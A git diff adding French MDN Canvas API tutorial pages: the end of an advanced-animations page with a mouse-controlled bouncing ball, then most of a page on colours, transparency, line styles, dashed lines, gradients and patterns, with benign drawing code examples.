+  if (ball.x + ball.vx > canvas.width || ball.x + ball.vx < 0) {
+    ball.vx = -ball.vx;
+  }
+
+  raf = window.requestAnimationFrame(draw);
+}
+
+canvas.addEventListener('mousemove', function(e){
+  if (!running) {
+    clear();
+    ball.x = e.clientX;
+    ball.y = e.clientY;
+    ball.draw();
+  }
+});
+
+canvas.addEventListener("click",function(e){
+  if (!running) {
+    raf = window.requestAnimationFrame(draw);
+    running = true;
+  }
+});
+
+canvas.addEventListener("mouseout",function(e){
+  window.cancelAnimationFrame(raf);
+  running = false;
+});
+
+ball.draw();
+
+ +

Déplacez la balle en utilisant votre souris et relâchez-la avec un click.

+ +

{{EmbedLiveSample("Ajout_d'un_contrôle_de_souris", "610", "310")}}

+ +

Casse-briques

+ +

Ce petit chapitre explique seulement quelques techniques pour créer des animations avancées. Il en existe bien davantage ! Que diriez-vous d'ajouter une raquette, des briques et de transformer cette démo en une partie de casse-briques ? Consultez notre zone de développement de jeux pour plus d'articles liés aux jeux.

+ +

Voir aussi

+ + + +

{{PreviousNext("Tutoriel_canvas/Animations_basiques", "Tutoriel_canvas/Pixel_manipulation_with_canvas")}}

diff --git a/files/fr/web/api/canvas_api/tutorial/applying_styles_and_colors/index.html b/files/fr/web/api/canvas_api/tutorial/applying_styles_and_colors/index.html new file mode 100644 index 0000000000..15eef37006 --- /dev/null +++ b/files/fr/web/api/canvas_api/tutorial/applying_styles_and_colors/index.html @@ -0,0 +1,719 @@ +--- +title: Ajout de styles et de couleurs +slug: Web/API/Canvas_API/Tutoriel_canvas/Ajout_de_styles_et_de_couleurs +tags: + - Canvas + - Couleurs + - Formes géométriques + - Graphismes + - Tutorial +translation_of: Web/API/Canvas_API/Tutorial/Applying_styles_and_colors +--- +
{{CanvasSidebar}} {{PreviousNext("Tutoriel_canvas/Formes_géométriques", "Dessin_de_texte_avec_canvas")}}
+ +
+

Dans le chapitre sur les formes géométriques, nous avons utilisé les styles de lignes et de remplissage par défaut. Ici, nous allons explorer les options de canvas à notre disposition pour rendre nos dessins un peu plus attrayants. Vous apprendrez comment ajouter des couleurs différentes, des styles de ligne, des dégradés, des motifs et des ombres à vos dessins.

+
+ +

Les couleurs

+ +

Jusqu'à présent, nous avons seulement vu des méthodes sur le contexte de dessin. Si nous voulons appliquer des couleurs à une forme, il y a deux propriétés importantes que nous pouvons utiliser : fillStyle et strokeStyle .

+ +
+
{{domxref("CanvasRenderingContext2D.fillStyle", "fillStyle = color")}}
+
Définit le style utilisé lors du remplissage de formes.
+
{{domxref("CanvasRenderingContext2D.strokeStyle", "strokeStyle = color")}}
+
Définit le style pour les contours des formes.
+
+ +

color est une chaîne représentant un CSS {{cssxref("<color>")}}, d'un objet gradient ou d'un objet motif. Nous allons examiner le gradient et la structure des objets plus tard. Par défaut, l'encadrement et la couleur de remplissage sont fixés sur noir (valeur #000000 de CSS color).

+ +
+

Remarque: Lorsque vous définissez strokeStyle et fillStyle, la nouvelle valeur devient la valeur par défaut pour toutes les formes en cours d'élaboration à partir de là. Pour chaque forme que vous voulez dans une couleur différente, vous aurez besoin de réaffecter fillStyle ou strokeStyle.

+
+ +

Les chaînes pour être valides, doivent être conforme à la spécification CSS {{cssxref("<color>")}}. Chacun des exemples suivants décrit la même couleur.

+ +
// Les valeurs possibles de fillStyle pour "orange"
+
+ctx.fillStyle = 'orange';
+ctx.fillStyle = '#FFA500';
+ctx.fillStyle = 'rgb(255, 165, 0)';
+ctx.fillStyle = 'rgba(255, 165, 0, 1)';
+ +

Un exemple fillStyle

+ +

Dans cet exemple, nous utilisons une nouvelle fois deux boucles for pour dessiner une grille de rectangles, chacun dans une couleur différente. L'image résultante devrait ressembler à la capture d'écran. Il n'y a rien de spectaculaire ici. Nous utilisons les deux variables i et j pour générer une couleur RVB unique pour chaque carré, et seulement modifier les valeurs rouges et vertes. Le canal bleu a une valeur fixe. En modifiant les canaux, vous pouvez générer toutes sortes de palettes. En augmentant les étapes, vous pouvez obtenir quelque chose qui ressemble à des palettes de couleurs que Photoshop utilise.

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  for (var i = 0; i < 6; i++) {
+    for (var j = 0; j < 6; j++) {
+      ctx.fillStyle = 'rgb(' + Math.floor(255 - 42.5 * i) + ',' +
+                       Math.floor(255 - 42.5 * j) + ',0)';
+      ctx.fillRect(j * 25, i * 25, 25, 25);
+    }
+  }
+}
+ + + +

Le résultat ressemble à ceci:

+ +

{{EmbedLiveSample("A_fillStyle_example", 160, 160, "https://mdn.mozillademos.org/files/5417/Canvas_fillstyle.png")}}

+ +

Un exemple strokeStyle

+ +

Cet exemple est similaire à celui ci-dessus, mais utilise strokeStyle pour changer les couleurs des contours des formes. Nous utilisons la méthode arc() pour dessiner des cercles au lieu de carrés.

+ +
function draw() {
+    var ctx = document.getElementById('canvas').getContext('2d');
+    for (var i = 0; i < 6; i++) {
+      for (var j = 0; j < 6; j++) {
+        ctx.strokeStyle = 'rgb(0, ' + Math.floor(255 - 42.5 * i) + ', ' +
+                         Math.floor(255 - 42.5 * j) + ')';
+        ctx.beginPath();
+        ctx.arc(12.5 + j * 25, 12.5 + i * 25, 10, 0, Math.PI * 2, true);
+        ctx.stroke();
+      }
+    }
+  }
+ + + +

Le résultat ressemble à ceci :

+ +

{{EmbedLiveSample("A_strokeStyle_example", "180", "180", "https://mdn.mozillademos.org/files/253/Canvas_strokestyle.png")}}

+ +

Transparence

+ +

En plus de dessiner des formes opaques sur la toile, nous pouvons également dessiner des formes semi-transparentes (ou translucides). Cela se fait soit par le réglage de globalAlpha ou en attribuant une couleur semi-transparente à strokeStyle et/ou fillStyle.

+ +
+
{{domxref("CanvasRenderingContext2D.globalAlpha", "globalAlpha = transparencyValue")}}
+
Applique la valeur de transparence spécifiée à toutes les formes futures tracées sur le Canvas. La valeur doit être comprise entre 0.0 (complètement transparent) à 1.0 (complètement opaque). Cette valeur est de 1,0 (complètement opaque) par défaut.
+
+ +

La propriété globalAlpha peut être utile si vous voulez dessiner un grand nombre de formes sur la toile avec la même transparence, mais sinon, il est généralement plus utile de définir la transparence sur les formes individuelles lors de la définition de leurs couleurs.

+ +

Parce que strokeStyle et fillStyle acceptent les valeurs de couleur rvba CSS, nous pouvons utiliser la notation suivante pour attribuer une couleur transparente.

+ +
//Affecter des couleurs transparentes pour dessiner et remplir le style
+
+ctx.strokeStyle = "rgba(255, 0, 0, .5)";
+ctx.fillStyle = "rgba(255, 0, 0, .5)";
+
+ +

La fonction rgba() (rvba) est similaire à la fonction rgb() (rvb) mais il a un paramètre supplémentaire. Le dernier paramètre définit la valeur de la transparence de cette couleur particulière. La plage valide est entre 0,0 (totalement transparent) et 1,0 (totalement opaque).

+ +

Un exemple globalAlpha

+ +

Dans cet exemple, nous allons dessiner un fond de quatre carrés de couleurs différentes. En plus de ceux-ci, nous allons dessiner un ensemble de cercles semi-transparents. globalAlpha est réglé à 0.2 et sera utilisé pour toutes les formes. Chaque étape de boucle for dessine un ensemble de cercles avec un rayon croissant. Le résultat final est un gradient radial. En superposant toujours plus de cercles, les uns au-dessus des autres, nous réduisons efficacement la transparence des cercles qui ont déjà été établis. En augmentant le pas et le nombre de cercles, l'arrière-plan devrait complètement disparaître du centre de l'image.

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  // draw background
+  ctx.fillStyle = '#FD0';
+  ctx.fillRect(0, 0, 75, 75);
+  ctx.fillStyle = '#6C0';
+  ctx.fillRect(75, 0, 75, 75);
+  ctx.fillStyle = '#09F';
+  ctx.fillRect(0, 75, 75, 75);
+  ctx.fillStyle = '#F30';
+  ctx.fillRect(75, 75, 75, 75);
+  ctx.fillStyle = '#FFF';
+
+  // règle la valeur de transparence
+  ctx.globalAlpha = 0.2;
+
+  // Dessine des cercles semi-transparents
+  for (i = 0; i < 7; i++) {
+    ctx.beginPath();
+    ctx.arc(75, 75, 10 + 10 * i, 0, Math.PI * 2, true);
+    ctx.fill();
+  }
+}
+ + + +

{{EmbedLiveSample("A_globalAlpha_example", "180", "180", "https://mdn.mozillademos.org/files/232/Canvas_globalalpha.png")}}

+ +

Un exemple en utilisant rgba()

+ +

Dans ce deuxième exemple, nous faisons quelque chose de similaire, mais au lieu de dessiner des cercles, nous dessinons de petits rectangles à l'opacité croissante. L'utilisation de rgba() nous donne un peu plus de contrôle et de flexibilité.

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // Dessine le fond
+  ctx.fillStyle = 'rgb(255, 221, 0)';
+  ctx.fillRect(0, 0, 150, 37.5);
+  ctx.fillStyle = 'rgb(102, 204, 0)';
+  ctx.fillRect(0, 37.5, 150, 37.5);
+  ctx.fillStyle = 'rgb(0, 153, 255)';
+  ctx.fillRect(0, 75, 150, 37.5);
+  ctx.fillStyle = 'rgb(255, 51, 0)';
+  ctx.fillRect(0, 112.5, 150, 37.5);
+
+  // Dessine des rectangles semi-transparents
+  for (var i = 0; i < 10; i++) {
+    ctx.fillStyle = 'rgba(255, 255, 255, ' + (i + 1) / 10 + ')';
+    for (var j = 0; j < 4; j++) {
+      ctx.fillRect(5 + i * 14, 5 + j * 37.5, 14, 27.5);
+    }
+  }
+}
+ + + +

{{EmbedLiveSample("An_example_using_rgba()", "180", "180", "https://mdn.mozillademos.org/files/246/Canvas_rgba.png")}}

+ +

Le style des lignes

+ +

Il y a plusieurs propriétés qui nous permettent de modifier le style des lignes.

+ +
+
{{domxref("CanvasRenderingContext2D.lineWidth", "lineWidth = value")}}
+
Définit la largeur des lignes qui serons tracées.
+
{{domxref("CanvasRenderingContext2D.lineCap", "lineCap = type")}}
+
Définit l'apparence des extrémités des lignes.
+
{{domxref("CanvasRenderingContext2D.lineJoin", "lineJoin = type")}}
+
Définit l'apparence des «coins» où les lignes se rencontrent.
+
{{domxref("CanvasRenderingContext2D.miterLimit", "miterLimit = value")}}
+
Établit une limite lorsque deux lignes se rejoignent en un angle aigu, pour permettre de contrôler l'épaisseur de la jonction.
+
{{domxref("CanvasRenderingContext2D.getLineDash", "getLineDash()")}}
+
Retourne le tableau du modele courant de ligne contenant un nombre pair de nombres positifs.
+
{{domxref("CanvasRenderingContext2D.setLineDash", "setLineDash(segments)")}}
+
Définit le modele de ligne.
+
{{domxref("CanvasRenderingContext2D.lineDashOffset", "lineDashOffset = value")}}
+
Indique où commencer un modele sur une ligne.
+
+ +

Vous aurez une meilleure compréhension de ce qu'ils font en regardant les exemples ci-dessous.

+ +

Un exemple lineWidth

+ +

Cette propriété définit l'épaisseur de la ligne actuelle. Les valeurs doivent être des nombres positifs. Par défaut, cette valeur est définie à 1,0.

+ +

La largeur de ligne est l'épaisseur centrée sur le tracé. En d'autres termes, la zone qui est dessinée s'étend de part et d'autre du tracé. Parce que les coordonnées ne font pas référence directement aux pixels, une attention particulière doit être prise pour obtenir des lignes horizontales et verticales nettes.

+ +

Dans l'exemple ci-dessous, 10 lignes droites sont dessinées avec des largeurs croissantes. La ligne à l'extrême gauche a 1,0 unités de large. Cependant, celle ci et toutes les lignes d'épaisseur impair ne semblent pas nettes, en raison du positionnement du tracé.

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  for (var i = 0; i < 10; i++) {
+    ctx.lineWidth = 1 + i;
+    ctx.beginPath();
+    ctx.moveTo(5 + i * 14, 5);
+    ctx.lineTo(5 + i * 14, 140);
+    ctx.stroke();
+  }
+}
+ + + +

{{EmbedLiveSample("A_lineWidth_example", "180", "180", "https://mdn.mozillademos.org/files/239/Canvas_linewidth.png")}}

+ +

Pour l'obtention de lignes nettes, il faut comprendre comment les lignes sont tracées. Ci-dessous, la grille représente la grille de coordonnées. Les carrés sont des pixels réels de l'écran. Dans la première grille, un rectangle (2,1) à (5,5) est rempli. La zone entière couverte par les lignes (rouge clair) tombe sur les limites des pixels, de sorte que le rectangle rempli résultant aura des bords nets.

+ +

+ +

Si vous considérez un tracé de (3,1) à (3,5) avec une épaisseur de ligne de 1.0, vous vous retrouvez dans la situation de la deuxième grille. La surface réelle à remplir (bleu foncé) se prolonge seulement à moitié sur les pixels de part et d'autre du chemin. Une approximation de ceci doit être rendue, ce qui signifie que ces pixels sont partiellement ombrés, et le résultat est que toute la zone (le bleu clair et bleu foncé) est remplie avec une couleur moitié moins sombre que la couleur du tracé attendu. C'est ce qui arrive avec la largeur de 1.0 dans l'exemple précédent.

+ +

Pour résoudre ce problème, vous devez être très précis dans la création de votre tracé. Sachant qu'une largeur de 1.0 s'étendra d'une demi-unité de chaque côté du tracé, créer le tracé de (3.5,1) à (3.5,5) aboutit à l'exemple trois pour une largeur de 1.0 et au remplissage d'un seul pixel de ligne verticale.

+ +
+

Note: Sachez que dans notre exemple de ligne verticale, la position Y fait toujours référence à une position de grille entière — sinon, vous verrez des pixels à moitié colorés à gauche et à droite (mais notez aussi que ce comportement dépend de l'actuel style lineCap, dont la valeur par défaut est butt. Vous pouvez essayer de tracer des traits consistants avec des coordonnées non-entières pour les lignes et avec une largeur particulière, en définissant le style lineCap à square, pour que le bord extérieur du trait autour du point final soit automatiquement étendu pour couvrir le pixel entier).

+ +

Notez également que seuls les points de début et de fin d'un chemin sont affectés : si un chemin est fermé avec closePath (), il n'y a pas de point de départ ni de point final ; à la place, tous les points d'extrémité du chemin sont connectés à leurs segments joints précédent et suivant, en utilisant le paramètre courant du style lineJoin, dont la valeur par défaut est miter, avec pour effet d'étendre automatiquement les bordures extérieures des segments connectés à leur point d'intersection. Ainsi, le trait de rendu couvrira exactement les pixels pleins centrés à chaque extrémité si ces segments connectés sont horizontaux et / ou verticaux. Voir les deux sections suivantes pour les démonstrations de ces styles de lignes supplémentaires.

+
+ +

Pour les lignes de largeur paire, chaque moitié finit par être un nombre entier de pixels, vous voulez donc un chemin entre les pixels (c'est-à-dire (3,1) à (3,5)), au lieu de descendre au milieu des pixels .

+ +

Bien que légèrement ennuyeux quand on travaille avec des graphismes 2D évolutifs, en accordant une attention à la grille de pixels et à la position des tracés, vous vous assurez du comportement correct de vos dessins, et ce, indépendamment de la mise à l'échelle ou d'autres transformations. Une ligne verticale de largeur 1,0 à la bonne position deviendra une ligne de 2 pixels nette à l'échelle 2.

+ +

Un exemple de lineCap

+ +

La propriété lineCap détermine comment les extrêmités de chaque ligne sont dessinées. Il y a trois valeurs possibles pour la propriété : butt, round et square. Par défaut, la propriété est définie à butt.

+ +

+ +
+
butt (bout)
+
L'extrémité des lignes est en angle droit.
+
round (rond)
+
Les extrémités sont arrondies.
+
square (carré)
+
Les extrémités sont en angle droit en ajoutant une extension d'une largeur égale à la ligne et une hauteur égale à la moitié de la largeur de la ligne.
+
+ +

Dans cet exemple, nous avons tracé trois lignes, chacune avec une valeur différente pour la propriété lineCap. Nous avons par ailleurs ajouté deux guides pour voir exactement les différences entre les trois lignes. Chacune de ces trois lignes est identique entre les deux traits bleus.

+ +

La ligne de gauche utilise l'option par défaut butt. Vous pourrez noter qu'elle est entièrement dessinée entre les deux guides. La deuxième utilise l'option round. Elle ajoute un demi-cercle à chaque extrémité d'un rayon valant la moitié de la largeur de la ligne. La ligne de droite utilise l'option square. Elle ajoute une extension avec une largeur égale à la ligne et une hauteur équivalante à la moitié de la largeur de la ligne.

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  var lineCap = ['butt', 'round', 'square'];
+
+  // Dessiner des guides
+  ctx.strokeStyle = '#09f';
+  ctx.beginPath();
+  ctx.moveTo(10, 10);
+  ctx.lineTo(140, 10);
+  ctx.moveTo(10, 140);
+  ctx.lineTo(140, 140);
+  ctx.stroke();
+
+  // Dessiner des lignes
+  ctx.strokeStyle = 'black';
+  for (var i = 0; i < lineCap.length; i++) {
+    ctx.lineWidth = 15;
+    ctx.lineCap = lineCap[i];
+    ctx.beginPath();
+    ctx.moveTo(25 + i * 50, 10);
+    ctx.lineTo(25 + i * 50, 140);
+    ctx.stroke();
+  }
+}
+ + + +

{{EmbedLiveSample("A_lineCap_example", "180", "180", "https://mdn.mozillademos.org/files/236/Canvas_linecap.png")}}

+ +

Un exemple de lineJoin

+ +

La propriété lineJoin détermine comment deux segments (lignes, arcs ou courbes), de largeur non nulle se connectant dans une forme, sont joints ensemble (les segments de longueur nulle, dont les coordonnées de départ et de fin sont exactement les mêmes, sont ignorés).

+ +

Il existe trois valeurs possibles pour cette propriété : round, bevel et miter. Par défaut, cette propriété est définie à miter. Notez que le paramètre lineJoin n'a pas d'effet si les deux segments connectés ont la même direction, parce qu'aucune zone de jointure ne sera ajoutée dans ce cas.

+ +

+ +
+
round (rond)
+
Arrondit les angles des segments en ajoutant un arc de cercle centré à l'extrémité commune des segments connectés. Le rayon de ces angles arrondis est égal à la moitié de la largeur du trait.
+
bevel (biseau)
+
Ajoute un triangle à l'extrémité commune des segments connectés.
+
miter (onglet)
+
Les segments connectés sont reliés en prolongeant leurs bords extérieurs pour se connecter en un seul point, avec pour effet de remplir une zone supplémentaire en forme de losange. Ce paramètre est effectué par la propriété miterLimit qui est expliquée ci-dessous.
+
+ +

L'exemple ci-dessous dessine trois chemins différents, démontrant chacun de ces trois paramètres de propriété lineJoin ; la sortie est montrée ci-dessus.

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  var lineJoin = ['round', 'bevel', 'miter'];
+  ctx.lineWidth = 10;
+  for (var i = 0; i < lineJoin.length; i++) {
+    ctx.lineJoin = lineJoin[i];
+    ctx.beginPath();
+    ctx.moveTo(-5, 5 + i * 40);
+    ctx.lineTo(35, 45 + i * 40);
+    ctx.lineTo(75, 5 + i * 40);
+    ctx.lineTo(115, 45 + i * 40);
+    ctx.lineTo(155, 5 + i * 40);
+    ctx.stroke();
+  }
+}
+ + + +

{{EmbedLiveSample("A_lineJoin_example", "180", "180", "https://mdn.mozillademos.org/files/237/Canvas_linejoin.png")}}

+ +

Une démonstration de la propriété miterLimit

+ +

Comme vous l'avez vu dans l'exemple précédent, lorsque vous joignez deux lignes avec l'option d'onglet, les bords extérieurs des deux lignes d'assemblage sont étendus jusqu'au point où ils se rencontrent. Pour les lignes qui sont à grands angles les unes avec les autres, ce point n'est pas loin du point de connexion interne. Cependant, lorsque les angles entre chaque ligne diminuent, la distance entre ces points augmente exponentiellement.

+ +

La propriété miterLimit détermine dans quelle mesure le point de connexion externe peut être placé à partir du point de connexion interne. Si deux lignes dépassent cette valeur, une jointure biseau est dessinée à la place. Notez que la longueur ajoutée maximale est le produit de la largeur de ligne mesurée dans le système de coordonnées actuel, par la valeur de cette propriété miterLimit (dont la valeur par défaut est 10.0 dans le HTML {{HTMLElement("canvas")}}). miterLimit peut être défini indépendamment de l'échelle d'affichage actuelle ou de toutes les transformations affinées de chemins : il n'influence que la forme des bords de lignes effectivement rendues.

+ +

Plus précisément, la limite d'onglet est le rapport maximal autorisé de la longueur d'extension (dans le canvas HTML, il est mesuré entre le coin extérieur des bords joints de la ligne et le point d'extrémité commun des segments de connexion spécifiés dans le chemin) à la moitié de la largeur de la ligne. Il peut être défini, de manière équivalente, comme le rapport maximum autorisé de la distance entre les points de jonction intérieur et extérieur des bords et la largeur totale de la ligne. Il est alors égal à la cosécante de la moitié de l'angle interne minimum des segments de connexion, en-dessous de laquelle aucune jointure d'onglet ne sera rendue, mais seulement une jointure en biseau :

+ +
    +
  • miterLimit = max miterLength / lineWidth = 1 / sin ( min θ / 2 )
    • +
  • La limite d'onglet par défaut de 10.0 supprimera tous les onglets pour les angles vifs inférieurs à environ 11 degrés.
    • +
  • Une limite d'onglet égale à √2 ≈ 1.4142136 (arrondie au-dessus) enlèvera les onglets pour tous les angles aigus, en conservant les joints d'onglet seulement pour les angles obtus ou droits.
    • +
  • Une limite d'onglet égale à 1.0 est valide mais désactivera tous les onglets.
    • +
  • Les valeurs inférieures à 1.0 sont invalides pour la limite d'onglet.
    • +
+ +

Voici une petite démo dans laquelle vous pouvez définir dynamiquement miterLimit et voir comment cela affecte les formes sur le canevas. Les lignes bleues indiquent où se trouvent les points de départ et d'arrivée de chacune des lignes du motif en zig-zag.

+ +

Si vous spécifiez une valeur miterLimit inférieure à 4.2 dans cette démo, aucun des coins visibles ne se joindra avec une extension onglet, mais seulement avec un petit biseau près des lignes bleues ; avec une limite à onglets au-dessus de 10, la plupart des coins de cette démo devraient se combiner avec un onglet loin des lignes bleues et dont la hauteur diminue entre les coins de gauche à droite, car ils se connectent avec des angles croissants ; avec des valeurs intermédiaires, les coins du côté gauche ne rejoignent qu'un biseau près des lignes bleues et les coins du côté droit avec une extension à onglets (également avec une hauteur décroissante).

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // Éffacer canvas
+  ctx.clearRect(0, 0, 150, 150);
+
+  // Dessiner des guides
+  ctx.strokeStyle = '#09f';
+  ctx.lineWidth   = 2;
+  ctx.strokeRect(-5, 50, 160, 50);
+
+  // Définir les styles de lignes
+  ctx.strokeStyle = '#000';
+  ctx.lineWidth = 10;
+
+  // Vérifier l'entrée (input)
+  if (document.getElementById('miterLimit').value.match(/\d+(\.\d+)?/)) {
+    ctx.miterLimit = parseFloat(document.getElementById('miterLimit').value);
+  } else {
+    alert('Value must be a positive number');
+  }
+
+  // Dessiner des lignes
+  ctx.beginPath();
+  ctx.moveTo(0, 100);
+  for (i = 0; i < 24 ; i++) {
+    var dy = i % 2 == 0 ? 25 : -25;
+    ctx.lineTo(Math.pow(i, 1.5) * 2, 75 + dy);
+  }
+  ctx.stroke();
+  return false;
+}
+ + + +

{{EmbedLiveSample("A_demo_of_the_miterLimit_property", "400", "180", "https://mdn.mozillademos.org/files/240/Canvas_miterlimit.png")}}

+ +

Utilisation de lignes pointillées

+ +

setLineDash et lineDashOffset précisent le modèle de lignes. setLineDash accepte une liste de nombres qui spécifie les distances pour dessiner alternativement une ligne et un espace et lineDashOffset définit un décalage pour commencer le motif.

+ +

Dans cet exemple, nous créons un effet de fourmis en marche. C'est une technique d'animation souvent employée dans les sélections d'outils des programmes graphiques. Cet effet permet à l'utilisateur de distinguer la frontière de l'image de fond de la sélection en animant la frontière. Dans une partie de ce tutoriel, vous pouvez apprendre comment faire cela et d'autres animations de base animation basiques..

+ + + +
var ctx = document.getElementById('canvas').getContext('2d');
+var offset = 0;
+
+function draw() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  ctx.setLineDash([4, 2]);
+  ctx.lineDashOffset = -offset;
+  ctx.strokeRect(10, 10, 100, 100);
+}
+
+function march() {
+  offset++;
+  if (offset > 16) {
+    offset = 0;
+  }
+  draw();
+  setTimeout(march, 20);
+}
+
+march();
+ +

{{EmbedLiveSample("Using_line_dashes", "120", "120", "https://mdn.mozillademos.org/files/9853/marching-ants.png")}}

+ +

Dégradés

+ +

Comme n'importe quel programme de dessin normal, nous pouvons remplir et découper des formes à l'aide de dégradés linéaires et radiaux. Nous créons un objet {{domxref ("CanvasGradient")}} en utilisant l'une des méthodes suivantes. Nous pouvons ensuite affecter cet objet aux propriétés fillStyle ou strokeStyle.

+ +
+
{{domxref("CanvasRenderingContext2D.createLinearGradient", "createLinearGradient(x1, y1, x2, y2)")}}
+
Crée un objet dégradé linéaire avec un point de départ (x1, y1) et un point final (x2, y2).
+
{{domxref("CanvasRenderingContext2D.createRadialGradient", "createRadialGradient(x1, y1, r1, x2, y2, r2)")}}
+
Crée un dégradé radial. Les paramètres représentent deux cercles, l'un avec son centre à (x1, y1) et un rayon r1, l'autre avec son centre à (x2, y2) avec un rayon r2.
+
+ +

Par exemple:

+ +
var lineargradient = ctx.createLinearGradient(0, 0, 150, 150);
+var radialgradient = ctx.createRadialGradient(75, 75, 0, 75, 75, 100);
+ +

Une fois que nous avons créé un objet CanvasGradient, nous pouvons lui assigner des couleurs en utilisant la méthode addColorStop ().

+ +
+
{{domxref("CanvasGradient.addColorStop", "gradient.addColorStop(position, color)")}}
+
Crée un nouvel arrêt de couleur sur l'objet gradient (dégradé). La position est un nombre entre 0.0 et 1.0 et définit la position relative de la couleur dans le dégradé ; et l'argument color doit être une chaîne représentant une CSS {{cssxref ("<color>")}}, indiquant la couleur que le dégradé devrait atteindre.
+
+ +

Vous pouvez ajouter autant d'arrêts de couleur à un dégradé que vous le souhaitez. Ci-dessous figure un dégradé linéaire très simple du blanc au noir.

+ +
var lineargradient = ctx.createLinearGradient(0, 0, 150, 150);
+lineargradient.addColorStop(0, 'white');
+lineargradient.addColorStop(1, 'black');
+ +

Un exemple de createLinearGradient

+ +

Dans cet exemple, nous allons créer deux dégradés différents. Comme vous pouvez le voir ici, les propriétés strokeStyle et fillStyle peuvent accepter un objet canvasGradient comme entrée valide.

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // Créer un dégradé
+  var lingrad = ctx.createLinearGradient(0, 0, 0, 150);
+  lingrad.addColorStop(0, '#00ABEB');
+  lingrad.addColorStop(0.5, '#fff');
+  lingrad.addColorStop(0.5, '#26C000');
+  lingrad.addColorStop(1, '#fff');
+
+  var lingrad2 = ctx.createLinearGradient(0, 50, 0, 95);
+  lingrad2.addColorStop(0.5, '#000');
+  lingrad2.addColorStop(1, 'rgba(0, 0, 0, 0)');
+
+  // assigner des dégradés aux styles "fill" et "stroke"
+  ctx.fillStyle = lingrad;
+  ctx.strokeStyle = lingrad2;
+
+  // Dessiner des formes
+  ctx.fillRect(10, 10, 130, 130);
+  ctx.strokeRect(50, 50, 50, 50);
+
+}
+ + + +

Le premier est un dégradé d'arrière-plan. Comme vous pouvez le voir, nous avons assigné deux couleurs à la même position. Vous faites cela pour faire des transitions de couleurs très nettes - dans ce cas du blanc au vert. Normalement, peu importe dans quel ordre vous définissez l'arrêt de la couleur, mais dans ce cas particulier, la différence peut être significative. Si vous conservez les affectations dans l'ordre où vous voulez qu'elles apparaissent, cela ne posera aucun problème.

+ +

Dans le second gradient, nous n'avons pas assigné la couleur de départ (à la position 0.0) puisqu'il n'était pas strictement nécessaire car il prendra automatiquement la valeur de la prochaine couleur. Par conséquent, l'attribution de la couleur noire à la position 0,5 fait automatiquement passer le dégradé, du début à l'arrêt, en noir.

+ +

{{EmbedLiveSample("A_createLinearGradient_example", "180", "180", "https://mdn.mozillademos.org/files/235/Canvas_lineargradient.png")}}

+ +

Un exemple de createRadialGradient

+ +

Dans cet exemple, nous définirons quatre dégradés radiaux différents. Parce que nous avons le contrôle sur les points de départ et de fermeture du dégradé, nous pouvons obtenir des effets plus complexes que nous aurions normalement dans les dégradés radiaux "classiques" (c'est-à-dire un dégradé avec un seul point central où le dégradé se développe vers l'extérieur dans une forme circulaire).

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // Créer un dégradé
+  var radgrad = ctx.createRadialGradient(45, 45, 10, 52, 50, 30);
+  radgrad.addColorStop(0, '#A7D30C');
+  radgrad.addColorStop(0.9, '#019F62');
+  radgrad.addColorStop(1, 'rgba(1, 159, 98, 0)');
+
+  var radgrad2 = ctx.createRadialGradient(105, 105, 20, 112, 120, 50);
+  radgrad2.addColorStop(0, '#FF5F98');
+  radgrad2.addColorStop(0.75, '#FF0188');
+  radgrad2.addColorStop(1, 'rgba(255, 1, 136, 0)');
+
+  var radgrad3 = ctx.createRadialGradient(95, 15, 15, 102, 20, 40);
+  radgrad3.addColorStop(0, '#00C9FF');
+  radgrad3.addColorStop(0.8, '#00B5E2');
+  radgrad3.addColorStop(1, 'rgba(0, 201, 255, 0)');
+
+  var radgrad4 = ctx.createRadialGradient(0, 150, 50, 0, 140, 90);
+  radgrad4.addColorStop(0, '#F4F201');
+  radgrad4.addColorStop(0.8, '#E4C700');
+  radgrad4.addColorStop(1, 'rgba(228, 199, 0, 0)');
+
+  // dessiner des formes
+  ctx.fillStyle = radgrad4;
+  ctx.fillRect(0, 0, 150, 150);
+  ctx.fillStyle = radgrad3;
+  ctx.fillRect(0, 0, 150, 150);
+  ctx.fillStyle = radgrad2;
+  ctx.fillRect(0, 0, 150, 150);
+  ctx.fillStyle = radgrad;
+  ctx.fillRect(0, 0, 150, 150);
+}
+ + + +

Dans ce cas, nous avons légèrement décalé le point de départ du point final pour obtenir un effet 3D sphérique. Il est préférable d'éviter de laisser les cercles intérieurs et extérieurs se chevaucher car cela entraîne des effets étranges, difficiles à prédire.

+ +

Le dernier arrêt de couleur dans chacun des quatre dégradés utilise une couleur entièrement transparente. Si vous voulez une transition agréable de cette étape à la couleur précédente, les deux couleurs doivent être égales. Ce n'est pas très évident dans le code, car il utilise deux méthodes CSS différentes en démonstration, mais dans le premier dégradé # 019F62 = rgba (1,159,98,1).

+ +

{{EmbedLiveSample("A_createRadialGradient_example", "180", "180", "https://mdn.mozillademos.org/files/244/Canvas_radialgradient.png")}}

+ +

Modèles

+ +

Dans l'un des exemples de la page précédente, nous avons utilisé une série de boucles pour créer un motif d'images. Il existe cependant une méthode beaucoup plus simple : la méthode createPattern ().

+ +
+
{{domxref("CanvasRenderingContext2D.createPattern", "createPattern(image, type)")}}
+
Crée et renvoie un nouvel objet de canvas. image est un {{domxref ("CanvasImageSource")}} (c'est-à-dire un {{domxref ("HTMLImageElement")}} ; un autre élément canvas,  type est une chaîne indiquant comment utiliser l'image.
+
+ +

Le type spécifie comment utiliser l'image pour créer le motif et doit avoir l'une des valeurs de chaîne suivantes :

+ +
+
repeat
+
Tapisse la zone en répètant l'image dans les deux sens vertical et horizontal.
+
repeat-x
+
Tapisse la zone en répètant l'image horizontalement mais pas verticalement.
+
repeat-y
+
Tapisse la zone en répètant l'image verticalement mais pas horizontalement.
+
no-repeat
+
Ne tapisse pas la zone avec l'image, elle est utilisée une seule fois.
+
+ +

